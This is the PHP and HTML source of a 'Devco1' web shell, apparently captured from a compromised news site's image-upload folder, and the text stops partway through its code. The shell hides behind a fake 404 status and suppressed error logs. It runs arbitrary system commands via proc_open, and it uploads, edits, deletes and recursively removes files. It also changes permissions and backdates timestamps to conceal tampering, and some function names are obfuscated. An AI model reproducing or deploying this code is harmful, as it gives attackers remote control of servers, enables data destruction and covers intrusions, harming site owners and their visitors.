Devco1
Home
Console
Upload
New File
New Folder
Tools
Info
About
/
home
/
aptodayn
/
varthaprapancham.com
/
admin
/
uploads
/
gallery
/
images
/
Filename :
1777259102_cfsdfdsd.php
back
Copy
<!DOCTYPE html> <html> <head> <title>Devco1 Shell</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="author" content="Devco1"> <meta name="viewport" content="width=device-width, initial-scale=1" /> <meta name="description" content="Error Page"> <meta property="og:description" content="Error Page"> <meta property="og:image" content="#"> <meta name="robots" content="noindex"> <meta name="googlebot" content="noindex"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"> <link href="https://fonts.googleapis.com/css2?family=Carrois+Gothic&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Bungee+Outline&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> </head> <body> <style> @import url("https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600&family=JetBrains+Mono:wght@400;600&family=Bungee+Outline&display=swap"); :root { --bg: #0b0d0f; --bg2: #111418; --bg3: #181c21; --border: #1e2530; --accent: #40BECC; --accent2: #2a8f99; --accent-glow: rgba(64,190,204,0.18); --danger: #e05252; --success: #4ade80; --warn: #f59e0b; --muted: #4b5563; --text: #d1d5db; --text2: #9ca3af; --radius: 8px; --font: 'Inter', sans-serif; --mono: 'JetBrains Mono', monospace; } *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; } html { scroll-behavior: smooth; } body { font-family: var(--font); font-size: 13px; color: var(--text); background: var(--bg); background-image: radial-gradient(ellipse at 20% 0%, rgba(64,190,204,0.05) 0%, transparent 60%), radial-gradient(ellipse at 80% 100%, rgba(64,190,204,0.04) 0%, transparent 50%); min-height: 100vh; } /* ── Scrollbar ── */ ::-webkit-scrollbar { width: 5px; height: 5px; } ::-webkit-scrollbar-track { background: var(--bg); } ::-webkit-scrollbar-thumb { background: var(--accent2); border-radius: 99px; } ::-webkit-scrollbar-thumb:hover { background: var(--accent); } /* ── Links ── */ a { color: var(--accent); text-decoration: none; transition: color .2s, opacity .2s; } a:hover { color: #fff; opacity: .9; } /* ── Header / Nav ── */ .header { position: sticky; top: 0; z-index: 100; background: rgba(11,13,15,.92); backdrop-filter: blur(12px); -webkit-backdrop-filter: blur(12px); border-bottom: 1px solid var(--border); box-shadow: 0 1px 0 var(--accent-glow), 0 4px 24px rgba(0,0,0,.5); padding: .55rem 1.2rem; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: .5rem; width: 100%; } .header-brand { font-family: 'Bungee Outline', cursive; font-size: 20px; color: var(--accent); display: flex; align-items: center; gap: 8px; white-space: nowrap; text-shadow: 0 0 18px var(--accent-glow); } .header-brand img { border-radius: 50%; border: 1.5px solid var(--accent); } .nav-btns { display: flex; flex-wrap: wrap; gap: 4px; align-items: center; } /* ── Buttons ── */ .btn { display: inline-flex; align-items: center; gap: 5px; padding: 5px 12px; border-radius: var(--radius); font: 12px/1 var(--font); font-weight: 500; border: 1px solid var(--border); background: var(--bg3); color: var(--text); cursor: pointer; transition: all .18s; white-space: nowrap; text-decoration: none; } .btn:hover { border-color: var(--accent); color: var(--accent); background: var(--accent-glow); box-shadow: 0 0 10px var(--accent-glow); } .btn i { font-size: 11px; } .btn-accent { background: var(--accent); color: #000; border-color: var(--accent); font-weight: 600; } .btn-accent:hover { background: #56d4e2; color: #000; box-shadow: 0 0 16px rgba(64,190,204,.4); } .btn-danger { border-color: #3d1515; background: rgba(224,82,82,.08); color: var(--danger); } .btn-danger:hover { background: rgba(224,82,82,.18); border-color: var(--danger); box-shadow: 0 0 10px rgba(224,82,82,.2); } .btn-success { border-color: #143d27; background: rgba(74,222,128,.08); color: var(--success); } .btn-success:hover { background: rgba(74,222,128,.18); border-color: var(--success); } .btn-warn { border-color: #3d2e0a; background: rgba(245,158,11,.08); color: var(--warn); } .btn-warn:hover { background: rgba(245,158,11,.18); border-color: var(--warn); } .btn-sm { padding: 3px 8px; font-size: 11px; } /* Bootstrap compat aliases */ .btn-outline-light { background: var(--bg3); color: var(--text); border: 1px solid var(--border); border-radius: var(--radius); padding: 5px 12px; cursor: pointer; font: 12px var(--font); transition: all .18s; } .btn-outline-light:hover { border-color: var(--accent); color: var(--accent); background: var(--accent-glow); } .btn-outline-secondary { background: transparent; color: var(--muted); border: 1px solid var(--border); border-radius: 6px; padding: 3px 7px; cursor: pointer; transition: all .18s; } .btn-outline-secondary:hover { border-color: var(--accent); color: var(--accent); } .btn-outline-danger { background: transparent; color: var(--danger); border: 1px solid #3d1515; border-radius: 6px; padding: 3px 7px; cursor: pointer; transition: all .18s; } .btn-outline-danger:hover { background: rgba(224,82,82,.15); border-color: var(--danger); box-shadow: 0 0 8px rgba(224,82,82,.2); } .btn-outline-info { background: transparent; color: var(--accent); border: 1px solid var(--accent2); border-radius: 6px; padding: 3px 7px; cursor: pointer; transition: all .18s; } .btn-outline-info:hover { background: var(--accent-glow); } .btn-outline-primary { background: transparent; color: #6fa3ef; border: 1px solid #1e3358; border-radius: 6px; padding: 3px 7px; cursor: pointer; transition: all .18s; } .btn-outline-primary:hover { background: rgba(111,163,239,.12); } .btn-outline-warning { background: transparent; color: var(--warn); border: 1px solid #3d2e0a; border-radius: 6px; padding: 3px 7px; cursor: pointer; transition: all .18s; } .btn-outline-warning:hover { background: rgba(245,158,11,.12); } .btn-group { display: inline-flex; gap: 3px; } .btn-group.me-2 { margin-right: 6px; } /* ── Cards / Panels ── */ .directory-listing-table { margin: 12px auto; background: var(--bg2); border: 1px solid var(--border); border-radius: var(--radius); padding: 1rem 1.2rem; max-width: 960px; width: 100%; box-shadow: 0 4px 24px rgba(0,0,0,.4); } .directory-listing-table:has(td > center) { text-align: center; } /* ── Breadcrumb path ── */ .path-bar { margin: 10px auto; max-width: 960px; background: var(--bg2); border: 1px solid var(--border); border-radius: var(--radius); padding: .45rem 1rem; font: 12px var(--mono); color: var(--muted); display: flex; flex-wrap: wrap; align-items: center; gap: 2px; } .path-bar a { color: var(--accent); } .path-bar a:hover { color: #fff; } .path-sep { color: var(--border); margin: 0 2px; } /* ── File table ── */ .table { border-collapse: collapse; width: 90%; margin: 8px auto; } .table thead { background: var(--bg3); } .table th { padding: 8px 12px; font: 600 11px var(--font); color: var(--accent); text-transform: uppercase; letter-spacing: .06em; border-bottom: 1px solid var(--border); text-align: center; } .table td { padding: 7px 12px; font: 13px var(--font); border-bottom: 1px solid var(--border); color: var(--text); vertical-align: middle; text-align: center; } .table td:first-child { text-align: left; } .table td a { color: var(--text); } .table td a:hover { color: var(--accent); } .table tbody tr { transition: background .12s; } .table tbody tr:hover td { background: rgba(64,190,204,.04); } .table-dark { background: var(--bg2); border: 1px solid var(--border); border-radius: var(--radius); overflow: hidden; box-shadow: 0 4px 24px rgba(0,0,0,.4); } /* ── Inputs / Forms ── */ input:not([type=submit]):not([type=button]):not([type=radio]):not([type=checkbox]):not([type=file]), select, textarea { background: var(--bg3); color: var(--text); border: 1px solid var(--border); border-radius: 6px; padding: 6px 10px; font: 12px var(--mono); outline: none; transition: border-color .18s, box-shadow .18s; width: 100%; } input:not([type=submit]):not([type=button]):not([type=radio]):not([type=checkbox]):not([type=file]):focus, textarea:focus, select:focus { border-color: var(--accent); box-shadow: 0 0 0 3px var(--accent-glow); } input[type=submit], input[type=button] { background: var(--bg3); color: var(--text); border: 1px solid var(--border); border-radius: 6px; padding: 6px 16px; cursor: pointer; font: 12px var(--font); transition: all .18s; } input[type=submit]:hover, input[type=button]:hover { border-color: var(--accent); color: var(--accent); background: var(--accent-glow); } input[type=file] { padding: 4px 8px; font: 12px var(--font); } textarea { resize: vertical; min-height: 120px; } .form-control { background: var(--bg3) !important; color: var(--text) !important; border: 1px solid var(--border) !important; border-radius: 6px !important; padding: 6px 10px !important; font: 12px var(--mono) !important; outline: none; transition: border-color .18s, box-shadow .18s; } .form-control:focus { border-color: var(--accent) !important; box-shadow: 0 0 0 3px var(--accent-glow) !important; } .form-select { background: var(--bg3); color: var(--text); border: 1px solid var(--border); border-radius: 6px; padding: 5px 10px; } .input-group { display: flex; gap: 6px; align-items: center; margin-bottom: 6px; } .input-group-text { background: var(--bg3); color: var(--muted); border: 1px solid var(--border); border-radius: 6px; padding: 6px 10px; font: 11px var(--mono); white-space: nowrap; } .mb-1 { margin-bottom: 4px !important; } .mb-2 { margin-bottom: 8px !important; } .mb-3 { margin-bottom: 12px !important; } .me-2 { margin-right: 6px !important; } /* ── Action badge tooltips (no-reflow) ── */ [class^="badge-action-"] { position: relative; overflow: visible; } /* content always present — opacity controls visibility, not content swap */ .badge-action-edit::after { content: "Edit"; } .badge-action-rename::after { content: "Rename"; } .badge-action-chmod::after { content: "Chmod"; } .badge-action-delete::after { content: "Delete"; } .badge-action-download::after { content: "Download"; } .badge-action-unzip::after { content: "UnZip"; } .badge-action-tanggal::after { content: "ChDate"; } [class^="badge-action-"]::after { position: absolute; bottom: calc(100% + 6px); left: 50%; transform: translateX(-50%); background: var(--bg2); border: 1px solid var(--accent); color: var(--accent); padding: 2px 8px; border-radius: 4px; font: 11px var(--font); white-space: nowrap; z-index: 9999; box-shadow: 0 0 8px var(--accent-glow); pointer-events: none; opacity: 0; visibility: hidden; transition: opacity .12s ease, visibility .12s ease; } [class^="badge-action-"]:hover::after { opacity: 1; visibility: visible; } .btn-group { overflow: visible !important; } /* ── Pre / output ── */ pre { background: var(--bg3); border: 1px solid var(--border); border-radius: 6px; padding: 10px 14px; color: var(--success); font: 12px var(--mono); overflow: auto; white-space: pre-wrap; word-break: break-all; } /* ── Alerts ── */ .alert { border-radius: var(--radius); padding: 8px 14px; font-size: 12px; margin: 8px auto; max-width: 960px; } .alert-ok { background: rgba(74,222,128,.08); border: 1px solid #143d27; color: var(--success); } .alert-err { background: rgba(224,82,82,.08); border: 1px solid #3d1515; color: var(--danger); } .alert-warn{ background: rgba(245,158,11,.08); border: 1px solid #3d2e0a; color: var(--warn); } /* ── Section headings ── */ h5 { font: 600 13px var(--font); color: var(--accent); margin-bottom: 10px; } hr { border: none; border-top: 1px solid var(--border); margin: 10px 0; } /* ── Colors shortcuts ── */ .text-accent { color: var(--accent) !important; } .text-danger { color: var(--danger) !important; } .text-success { color: var(--success) !important; } .text-warn { color: var(--warn) !important; } .text-muted { color: var(--muted) !important; } /* ── Misc / compat ── */ .crot { border-radius: 50%; border: 2px solid var(--accent); width: 90px; height: 90px; } .pencet { background: var(--bg3); color: var(--text); border: 1px solid var(--border); border-radius: 6px; padding: 5px 12px; cursor: pointer; } .d7net-text { font-family: 'Bungee Outline', cursive; font-size: 13px; background: linear-gradient(90deg, var(--accent), #fff, var(--accent)); background-size: 200% auto; -webkit-background-clip: text; -webkit-text-fill-color: transparent; animation: shimmer 2s linear infinite; } @keyframes shimmer { to { background-position: 200% center; } } /* ── Footer ── */ .footer-bar { margin: 16px auto 8px; max-width: 960px; border-top: 1px solid var(--border); padding-top: 10px; text-align: center; color: var(--muted); font-size: 11px; } .footer-bar a { color: var(--accent); } .footer-bar img { border-radius: 50%; border: 1px solid var(--accent); vertical-align: middle; margin-right: 5px; } body, a, button { cursor: default; } a:hover, button:hover { cursor: pointer; } </style> </td> <script> function myFunction() { var copyText = document.getElementById("myInput"); copyText.select(); copyText.setSelectionRange(0, 99999); // For mobile devices navigator.clipboard.writeText(copyText.value); alert("Copied Successfully!!"); } </script> <?php error_reporting(0); set_time_limit(0); @clearstatcache(); @ini_set('error_log', null); @http_response_code(404); $web = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://".$_SERVER['HTTP_HOST']; $disfunc = @ini_get("disable_functions"); if (empty($disfunc)) { $disf = "<font color='lime'>AMAN</font>"; } else { $disf = "<font color='red'>".$disfunc."</font>"; } function author() { echo '<div class="footer-bar"> <img src="https://webshell.it.com/logo.png" width="18" height="18"/> © <a href="https://t.me/Devco1" target="_blank">Devco1</a> · <a href="https://indx.it.com/" target="_blank">indx.it.com</a> · <a href="https://linkforge.cc/" target="_blank">linkforge.cc</a> </div>'; exit(); } function cekdir() { if (isset($_GET['path'])) { $serlok = $_GET['path']; } else { $serlok = getcwd(); } if (is_writable($serlok)) { return "<font color='lime'>Aman Coy</font>"; } else { return "<font color='red'>KONTOL!</font>"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "<font color='lime'>Aman Coy</font>"; } else { return "<font color='red'>KONTOL!</font>"; } } function d7net_ex($file) { $pile = $file; $pch = pathinfo($pile, PATHINFO_FILENAME); return $pch; } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function net($hexnet) { for ($i = 0; $i < strlen($hexnet); $i++) { $d7net .= dechex(ord($hexnet[$i])); } return $d7net; } function owner($file) { if (function_exists("posix_getpwuid")) { $tod = @posix_getpwuid(fileowner($file)); return "<center>".$tod['name']."</center>"; } else { return "<center>".fileowner($file)."</center>"; } } function cekwrite($serlok) { $izin = substr(sprintf('%o', fileperms($serlok)), -4); if (is_writable($serlok)) { return "<font color=lime>".$izin."</font>"; } else { return "<font color=red>".$izin."</font>"; } } function cmd($gas, $serlok) { $crot = $gas; $pr = "proc_open"; if (function_exists($pr)) { $tod = @proc_open($crot, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $serlok); echo "".stream_get_contents($crottz[1])."</textarea></center><br>"; } else { echo "<font color='orange'></font>"; } } function ekse($coman, $serlok) { $ler = "2>&1"; if (!preg_match("/".$ler."/i", $coman)) { $coman = $coman." ".$ler; } $komen = $coman; $pr = "proc_open"; if (function_exists($pr)) { $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $serlok); echo "<pre><textarea rows='25' style='color:lime;' readonly='' cols='120px'> ".htmlspecialchars(stream_get_contents($crottz[1]))."</textarea></pre><br>"; } else { echo "<font color='orange'>proc_open function is disabled!!</font>"; } } function ipserv() { if (empty($_SERVER['SERVER_ADDR'])) { return gethostbyname($_SERVER['SERVER_NAME']); if (empty(gethostbyname($_SERVER['SERVER_NAME']))) { return $_SERVER['SERVER_NAME']; } } else { return $_SERVER['SERVER_ADDR']; } } function cekfile($file) { return '<i class="fa fa-file-code-o" style="font-size:17px;color:#456DEB;"></i>'; } function filedate($file) { return date("F d Y g:i:s", filemtime($file)); } function fext($file) { $sub = "\163\x75" . "\142\x73" . "\x74\x72"; return $sub(strrchr($file,'.'),1); } function gazz($file) { $fbiasa = array("php","phtml","shtml","phar","php7","html","htm","inc","phps","txt","js","css","htaccess","bin","pl","py","sh","php58","PhP7","aspx","dll","ini"); $notf = array("jpeg","jpg","png","gif","ico","webp","mp3","m4A","flac","wav","wma","3gp","ogg","webm","mp4","exe"); $stl = "\x73\x74" . "\162\164" . "\157\154\x6f" . "\167\x65\162"; $ext=$stl(fext($file)); if ($file == 'error_log') { return " <button type='submit' class='btn btn-outline-secondary badge-action-edit' name='pilih' value='edit'> <i class='fa fa-edit' style='color: #36F239'></i></button> <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'> <i class='fa fa-pencil' style='color: #fff'></i></button> <button type='submit' class='btn btn-outline-secondary badge-action-chmod' name='pilih' value='chmod'> <i class='fa fa-gear' style='color: #06D2D5'></i></button> <button type='submit' class='btn btn-outline-secondary badge-action-tanggal' name='pilih' value='chdate'> <i class='fa fa-calendar' style='color: #4542F9'></i></button> <button type='submit' class='btn btn-outline-secondary badge-action-delete' name='pilih' value='hapus'> <i class='fa fa-trash' style='color: #E53A3A'></i></button> <button type='submit' class='btn btn-outline-secondary badge-action-unzip' name='pilih' value='unzip'> <i class='fa fa-file-archive-o' style='color: #F1BE0F'></i></button>"; } elseif(in_array($ext,$fbiasa)) { return " <button type='submit' class='btn btn-outline-secondary badge-action-edit' name='pilih' value='edit'> <i class='fa fa-edit' style='color:#7AFF41'></i></button> <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'> <i class='fa fa-pencil'></i></button> <button type='submit' class='btn btn-outline-info badge-action-chmod' name='pilih' value='chmod'> <i class='fa fa-gear'></i></button> <button type='submit' class='btn btn-outline-primary badge-action-tanggal' name='pilih' value='chdate'> <i class='fa fa-calendar'></i></button> <button type='submit' class='btn btn-outline-danger badge-action-delete' name='pilih' value='hapus'> <i class='fa fa-trash'></i></button>"; } elseif(in_array($ext,$notf)) { return " <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'> <i class='fa fa-pencil'></i></button> <button type='submit' class='btn btn-outline-info badge-action-chmod' name='pilih' value='chmod'> <i class='fa fa-gear'></i></button> <button type='submit' class='btn btn-outline-primary badge-action-tanggal' name='pilih' value='chdate'> <i class='fa fa-calendar'></i></button> <button type='submit' class='btn btn-outline-danger badge-action-delete' name='pilih' value='hapus'> <i class='fa fa-trash'></i></button>"; } elseif($ext == 'zip') { return " <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'> <i class='fa fa-pencil'></i></button> <button type='submit' class='btn btn-outline-info badge-action-chmod' name='pilih' value='chmod'> <i class='fa fa-gear'></i></button> <button type='submit' class='btn btn-outline-primary badge-action-tanggal' name='pilih' value='chdate'> <i class='fa fa-calendar'></i></button> <button type='submit' class='btn btn-outline-danger badge-action-delete' name='pilih' value='hapus'> <i class='fa fa-trash'></i></button> <button type='submit' class='btn btn-outline-warning badge-action-unzip' name='pilih' value='unzip'> <i class='fa fa-file-archive-o'></i></button>"; } else { return " <button type='submit' class='btn btn-outline-secondary badge-action-edit' name='pilih' value='edit'> <i class='fa fa-edit' style='color:#7AFF41'></i></button> <button type='submit' class='btn btn-outline-light badge-action-rename' name='pilih' value='gantinama'> <i class='fa fa-pencil'></i></button> <button type='submit' class='btn btn-outline-info badge-action-chmod' name='pilih' value='chmod'> <i class='fa fa-gear'></i></button> <button type='submit' class='btn btn-outline-primary badge-action-tanggal' name='pilih' value='chdate'> <i class='fa fa-calendar'></i></button> <button type='submit' class='btn btn-outline-danger badge-action-delete' name='pilih' value='hapus'> <i class='fa fa-trash'></i></button>"; } } function unzip($file, $serlok) { if (!is_readable($file)) { red("<table class='directory-listing-table' style='color:orange;'><thead><td><font color='orange'>Cannot Unzip File / Unreadable File !</font></td></thead></table>"); die(); } elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) { echo "<table class='directory-listing-table' style='border-color:red;'><td><font color='red'><center><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> This isn't Zip File</center></font></td></table>"; die(); } $zip = new ZipArchive; $res = $zip -> open($file); if ($res == true) { $zip -> extractTo($serlok); $zip -> close(); echo "<table class='directory-listing-table' style='border-color:lime;'> <td>Unzip File Successfully => <font color='lime'>".basename($_POST['path'])."</font><br> Extract to : <font color='aqua'>".$file."</font></td></thead</table>"; } else { echo "<table class='directory-listing-table' style='border-color:red;'><td><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to Unzip File!!</font></td></table>"; } exit(); } foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $serlok = $_GET['path']; $serlok2 = $_GET['path']; } else { $serlok = getcwd(); $serlok2 = getcwd(); } $serlok = str_replace('\\','/',$serlok); $serloks = explode('/',$serlok); $serlokbos = @scandir($serlok); echo '<div class="header"> <div class="header-brand"> <img src="https://webshell.it.com/logo.png" width="30" height="30"/> <a href="'.$_SERVER['SCRIPT_NAME'].'" style="color:var(--accent);font-family:Bungee Outline,cursive;">Devco1</a> </div> <div class="nav-btns"> <button class="btn" onclick="location.href=\''.$_SERVER['SCRIPT_NAME'].'\'"><i class="fa fa-home"></i> Home</button> <button class="btn" onclick="location.href=\'?path='.$serlok.'&'.net("cmd").'=opet\'"><i class="fa fa-terminal"></i> Console</button> <button class="btn" onclick="location.href=\'?path='.$serlok.'&'.net("upload").'=opet\'"><i class="fa fa-upload"></i> Upload</button> <button class="btn" onclick="location.href=\'?path='.$serlok.'&'.net("buatfile").'=opet\'"><i class="fa fa-file-code-o"></i> New File</button> <button class="btn" onclick="location.href=\'?path='.$serlok.'&'.net("buatfolder").'=opet\'"><i class="fa fa-folder-open-o"></i> New Folder</button> <button class="btn" onclick="location.href=\'?path='.$serlok.'&'.net("tool").'=opet\'"><i class="fa fa-wrench"></i> Tools</button> <button class="btn" onclick="location.href=\'?path='.$serlok.'&'.net("info").'=opet\'"><i class="fa fa-info-circle"></i> Info</button> <button class="btn btn-sm" onclick="location.href=\'?path='.$serlok.'&'.net("about").'=opet\'" style="border-color:var(--accent);color:var(--accent);"><i class="fa fa-question-circle"></i> About</button> </div> </div>'; echo '<div class="path-bar"><i class="fa fa-folder" style="color:#f59e0b;margin-right:6px;"></i>'; foreach($serloks as $id => $lok){ if($lok == '' && $id == 0){ echo '<a href="?path=/">/ </a></center>'; continue; } if($lok == '') continue; echo '<a href="?path='; for($i=0; $i<=$id; $i++){ echo $serloks[$i]; if($i != $id) echo "/"; } echo '">'.$lok.'</a> / '; } echo '</div>'; if (isset($_REQUEST['logout'])) { session_start(); session_destroy(); echo '<script>window.location="'.$_SERVER['SCRIPT_NAME'].'";</script>'; } if (isset($_GET['viewfile'])) { $files = basename($_GET['viewfile']); echo "<table class='directory-listing-table'><td><center>Filename : <font color='orange'>$files</font>"; echo '<form method="POST" action="?pilihan&path='.$serlok.'">'; echo "<table width='20%' border='0' cellpadding='0' cellspacing='0' align='center'><td> <a href='?path=$serlok' class='btn btn-outline-light'><i class='fa fa-arrow-left'></i> back</a>"; echo gazz($file); echo "<button type='button' style='float:right;' class='btn btn-outline-light' onclick='myFunction()'><i class='fa fa-copy'></i> Copy</button></div><br><br>"; echo "<input type='hidden' name='type' value='file'> <input type='hidden' name='name' value='$files'> <input type='hidden' name='path' value='$serlok/$files'>"; echo "<textarea readonly='' cols=120 rows=30 id='myInput'>".htmlspecialchars(file_get_contents($_GET['viewfile']))."</textarea></td></table></table><br>"; exit(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { echo '<table class="directory-listing-table" style="border-color:red;"><td><center><font color="red"><i class="fa fa-exclamation-triangle" aria-hidden="true"></i> Failed to delete Directory</font></center></td></table>'; } else { echo '<table class="directory-listing-table" style="border-color:lime;"><td><center><font color="lime"><i class="fa fa-trash"></i> Folder removed</font></center></td></table>'; } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { echo "<table class='directory-listing-table' style='border-color:red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to Delete File</font></center></td></table>"; } else { echo "<table class='directory-listing-table' style='border-color:lime;'><td><center><i class='fa fa-trash'></i> File removed <font color='lime'>".basename($_POST['path'])."</font></center></td></table>"; } } exit(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $namabaru = $_GET['path']."/".$_POST['newname']; if (@rename($_POST['path'], $namabaru) === true) { echo "<table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'>Change Name Success<center></td></table><br>"; if ($_POST['type'] == "file") { echo "<table class='directory-listing-table'><td><center>Filename : <font color='orange'>".basename($_POST['newname'])."</font><br><br>"; } else { echo "<table class='directory-listing-table'><td><center><center>Folder : <font color='orange'>".basename($_POST['newname'])."</font><br>"; } echo '<form method="post"> <div class="input-group mb-1" style="width:300px;"> <input name="newname" type="text" class="form-control" size="20" placeholder="New name" /> <input type="hidden" name="path" value="'.$_POST['newname'].'"> <input type="hidden" name="pilih" value="gantinama">'; if ($_POST['type'] == "file") { echo '<input type="hidden" name="type" value="file">'; } else { echo '<input type="hidden" name="type" value="dir">'; } echo '<input type="submit" value="Change" name="gantin" class="btn btn-outline-light mb-1"> </div></form></td></table>'; } else { echo "<table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> FAILED TO CHANGE NAME</font></center></td></table>"; } } else { if ($_POST['type'] == "file") { echo "<table class='directory-listing-table'><td><center>Filename <font color='orange'>: ".basename($_POST['path'], $_GET['file'])."</font><br><br>"; } else { echo "<table class='directory-listing-table'><td><center>Folder <font color='orange'>: ".basename($_POST['path'])."</font><br><br>"; } echo ' <form method="post"> <div class="input-group mb-1" style="width:300px;"> <input name="newname" type="text" class="form-control" size="20" placeholder="New name" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="gantinama">'; if ($_POST['type'] == "file") { echo '<input type="hidden" name="type" value="file">'; } else { echo '<input type="hidden" name="type" value="dir">'; } echo '<input type="submit" value="Change" name="gantin" class="btn btn-outline-light mb-1"/> </div></form></td></table><br>'; } exit(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = file_put_contents($_POST['path'], $_POST['src']); if ($edit == true) { echo "<table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'>File saved Successfully</font></center></td></table><br>"; } else { echo "<table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Can't save file/Permission Denied</font></center></td></table><br>"; } } echo "<center><table class='directory-listing-table'><td><center> Filename : <font color='orange'>".basename($_POST['path'])."</font><br><br>"; echo '<form method="post"> <div class="btn-group me-2" role="group" aria-label="First group"> <a href="?path='.$serlok.'" class="btn btn-outline-light"><i class="fa fa-arrow-left"></i> back</a> <button type="submit" name="gasedit" class="btn btn-outline-light"style="width:250px;"> <i class="fa fa-save"></i> Save</button> <button type="button" class="btn btn-outline-light" onclick="myFunction()"><i class="fa fa-copy"></i> Copy</button></div><br><br> <textarea type="text" cols=120 id="myInput" rows=30 name="src">'.htmlspecialchars(@file_get_contents($_POST['path'])).'</textarea><br> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="pilih" value="edit"> </form><br></td></thead></table><br>'; exit(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "chdatef") { $filedate = basename($_POST['path']); $tgl = date("F d Y g:i:s", filemtime($_POST['path'])); echo "<table class='directory-listing-table'><td> <form method='post'><center> <font color='#fff'>Ubah Tanggal<br>Folder :</font> <font color='orange'>$filedate</font> <br>$tgl<br><br><div class='input-group mb-3' style='width:280px;'> <input name='tanggal' type='text' class='form-control' value='".$_POST['tanggal']."' placeholder='$tgl'/> <input type='hidden' name='path' value='".$_POST['path']."'> <input type='hidden' name='pilih' value='chdatef'> <button type='submit' class='btn btn-outline-light mb-1' name='change' value='change'>Change</button></div></form></center></td></table>"; if (isset($_POST['change'])) { $tanggal = strtotime($_POST['tanggal']); if (@touch($_POST['path'], $tanggal) == true) { echo "<br><table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'><center>Changed Successfully!!</font></center></td></table>"; } else { echo "<br><table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to change date!!</td></table>"; } }exit(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "chdate") { $filedate = basename($_POST['path']); $tgl = date("F d Y g:i:s", filemtime($_POST['path'])); echo "<table class='directory-listing-table'><td> <form method='post'><center><font color='#fff'>Ubah Tanggal<br>File :</font> <font color='orange'>$filedate <br></font>$tgl <br><br><div class='input-group mb-3' style='width:300px;'> <input name='tanggal' type='text' class='form-control' value='".$_POST['tanggal']."' placeholder='$tgl'/> <input type='hidden' name='path' value='".$_POST['path']."'> <input type='hidden' name='pilih' value='chdate'> <button type='submit' class='btn btn-outline-light mb-1' name='change' value='change'>Change</button> </div></form></center></td></table>"; if (isset($_POST['change'])) { $tanggal = strtotime($_POST['tanggal']); if (@touch($_POST['path'], $tanggal) == true) { echo "<br><table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'><center>Changed Successfully!!</font></center></td></table>"; } else { echo "<br><table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to change date!!</td></table>"; } }exit(); } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "chmodf") { $files = basename($_POST['path']); $sbr = 'substr'; $spr = 'sprintf'; $flperm = 'fileperms'; echo "<table class='directory-listing-table'><td> <br><center> <font color='#fff'>Folder : <font color='orange'>$files</font> (".$sbr($spr('%o',$flperm($_POST['path'])), -4).")<br><br> <form method='post'> <div class='input-group mb-3' style='width:230px;'> <input type='text' name='mod1' maxlength='4' class='form-control' height='10' value='".$_POST['mod1']."' placeholder='0755' required/> <input type='hidden' name='path' value='".$_POST['path']."'> <input type='hidden' name='pilih' value='chmodf'> <button type='submit' class='btn btn-outline-light mb-1' name='ganti' value='ganti'>Change</button> </div></form></td></table>"; if (isset($_POST['ganti'])) { $opet = @chmod($_POST['path'], octdec($_POST['mod1'])); if ($opet == true) { echo "<br><table class='directory-listing-table' style='border: 1px solid lime;'><td><center><font color='lime'>Changed Successfully!!</font></center></td></table>"; } else { echo "<table class='directory-listing-table' style='border: 1px solid red;'><td><center><font color='red'><i class='fa fa-exclamation-triangle' aria-hidden='true'></i> Failed to change!!</font></center></td></table>"; } }exit(); } elseif 